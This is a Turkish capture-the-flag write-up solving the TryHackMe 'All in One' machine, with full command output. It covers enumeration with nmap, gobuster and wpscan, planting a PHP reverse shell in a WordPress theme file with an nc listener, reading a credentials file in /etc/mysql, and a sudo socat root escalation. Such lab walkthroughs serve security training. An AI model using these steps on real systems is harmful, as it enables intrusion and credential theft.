TryHackMe – All in One Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “All in One” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.108.156
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-13 04:07 EDT
Nmap scan report for 10.10.108.156
Host is up (0.068s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

2 — Dizin taraması yapıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.108.156 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.108.156
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/13 04:09:42 Starting gobuster in directory enumeration mode
===============================================================
/wordpress            (Status: 301) [Size: 318] [--> http://10.10.108.156/wordpress/]
/hackathons           (Status: 200) [Size: 197]

3 — “/hackathons” dizininde “Vigenere” ile şifrelenmiş bir parola buluyorum. KeepGoing anahtarı ile parolayı çözüyorum.

<h1>Damn how much I hate the smell of <i>Vinegar </i> :/ !!!  </h1>
*
*
*
<!-- *CENSORED* -->
<!-- KeepGoing -->

4 — “wpscan” aracı ile wordpress kullanıcılarını buluyorum. Bulduğum parolayı “elyana” kullanıcısı için deniyorum fakat giriş yapamıyorum. Parolanın sadece 2. kelimesini girdiğimde başarılı bir şekilde giriş yapıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# wpscan --url http://10.10.108.156/wordpress -e u
*
*
*
[i] User(s) Identified:

[+] elyana

5 — WordPress sitesine girince “Appearance -> Theme Editor -> 404.php” dosyasına bir php reverse shell yerleştiriyorum. Daha sonra aşağıdaki dizine gidip bağlantıyı kuruyorum.

# 10.10.108.156/wordpress/wp-content/themes/twentytwenty/404.php
──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444             
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.108.156] 55022
Linux elyana 4.15.0-118-generic #119-Ubuntu SMP Tue Sep 8 12:30:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 08:19:37 up 17 min,  0 users,  load average: 0.00, 0.14, 0.34
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

6 — Dizinleri dolaşırken “elyana” kullanıcısının dizininde “hint.txt” adında bir dosya görüyorum. Dosyayı okuduğumda “elyana” kullanıcısının parolasının sistemde bir yerde saklı olduğunu söylüyor.

$ SHELL=/bin/bash script -q /dev/null
bash-4.4$ ls
ls
bin    dev   initrd.img      lib64       mnt   root  snap  tmp  vmlinuz
boot   etc   initrd.img.old  lost+found  opt   run   srv   usr  vmlinuz.old
cdrom  home  lib             media       proc  sbin  sys   var
bash-4.4$ cd home
cd home
bash-4.4$ ls
ls
elyana
bash-4.4$ cd elyana
cd elyana
bash-4.4$ ls
ls
hint.txt  user.txt
bash-4.4$ cat hint.txt
cat hint.txt
Elyana's user password is hidden in the system. Find it ;)

7 — Sistem üzerinde çalışan servislere baktığım zaman “3306” portunda bir mysql servisi çalıştığını görüyorum. “/etc” dizini altındaki mysql klasörüne girdiğimde “private.txt” dosyasını buluyorum. Dosyanın içinde “elyana” kullanıcısının parolası yazıyor.

netstat -tuna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
*
*
bash-4.4$ cd /etc/mysql
cd /etc/mysql
bash-4.4$ ls
ls
conf.d        debian.cnf   mariadb.conf.d  my.cnf.fallback
debian-start  mariadb.cnf  my.cnf
bash-4.4$ cat conf.d
cat conf.d
cat: conf.d: Is a directory
bash-4.4$ cd conf.d
cd conf.d
bash-4.4$ ls
ls
mysql.cnf  mysqldump.cnf  private.txt
bash-4.4$ cat private.txt
cat private.txt
user: elyana
password: *CENSORED*

8 — Elyana kullanıcısına geçtikten sonra ev dizininde ilk bayrağımı elde ediyorum.

bash-4.4$ cd /home
cd /home
bash-4.4$ ls
ls
elyana
bash-4.4$ cd elyana
cd elyana
bash-4.4$ cat user.txt
cat user.txt
*CENSORED*
bash-4.4$ cat user.txt | base64 -d
cat user.txt | base64 -d
*CENSORED*

9 — Sudo yetkisi ile çalıştırabileceğim komutları görüntülediğimde “socat” komutunu sudo yetkisi ile çalıştırabildiğimi görüyorum. GTFObins sitesinden bu yetkisi suistimal edecek komutu öğrenip root kullanıcısına geçiyorum. Daha sonra ikinci bayrağımı elde ediyorum.

bash-4.4$ sudo -l
sudo -l
Matching Defaults entries for elyana on elyana:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User elyana may run the following commands on elyana:
    (ALL) NOPASSWD: /usr/bin/socat
bash-4.4$ sudo socat stdin exec:/bin/sh
sudo socat stdin exec:/bin/sh
ls
ls
hint.txt
user.txt
whoami
whoami
root
cat /root/root.txt
cat /root/root.txt
*CENSORED*
cat /root/root.txt | base64 -d
cat /root/root.txt | base64 -d
*CENSORED*